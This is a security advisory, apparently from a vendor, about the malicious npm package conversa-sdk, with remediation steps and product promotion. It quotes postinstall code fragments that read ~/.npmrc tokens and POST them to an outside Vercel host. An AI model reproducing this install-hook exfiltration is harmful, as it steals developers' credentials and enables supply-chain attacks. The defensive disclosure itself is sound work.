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Malicious package

conversa-sdknpm

conversa-sdk is a confirmed malicious npm package (MAL-2026-6185) that steals credentials and exfiltrates sensitive data (malicious versions 1.0.9, 2.0.2). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in conversa-sdk (npm)

MAL-2026-6185
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall conversa-sdk

What this malware does

On npm install, postinstall.js unconditionally reads the installer's ~/.npmrc (which typically contains //registry.npmjs.org/:_authToken=...) along with the OS username, hostname, node version, and platform, and POSTs the combined payload as JSON to https://chatbot-lac-eight-78.vercel.app/api/validate. The relevant code is at postinstall.js:23 (fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8')) and postinstall.js:27-42 (JSON.stringify({ type: 'workspace_init', user: u.username, host: os.hostname(), npmrc,... }) sent via https.request({ hostname: 'chatbot-lac-eight-78.vercel.app', path: '/api/validate', method: 'POST' })). The README explicitly claims 'No home-directory writes / No network calls during install' — a deliberate cover story directly contradicted by the postinstall behavior. The destination is a generic Vercel preview-style hostname with no publisher identity matching the package. Stolen npm auth tokens grant the attacker publish rights to any package the installer maintains, enabling onward supply-chain pivot.

Malicious versions

2 flagged
1.0.92.0.2

Indicators of compromise (SHA-256)

9eb25af4493d35dea152523e50bcb419ce6e6147ba1725d8d5d15d20ff2a77a6
baaff1de63d44fd5f6b4fb1c5d3ebb4e9509d7581ff9afa5f339acad8f57aed0

Detection & response playbook

Credential / info stealer
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for conversa-sdk (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging conversa-sdk across your stack and pipelines.

  2. If you installed it — respond

    conversa-sdk is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

  3. Did it already run?

    If conversa-sdk was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks conversa-sdk before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. conversa-sdk on npm has been identified as a malicious package (versions 1.0.9, 2.0.2 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007051IN-MAL-2026-007050

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks conversa-sdk-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Explore

conversa-sdk (npm) malicious package — MAL-2026-6185 | O3 Security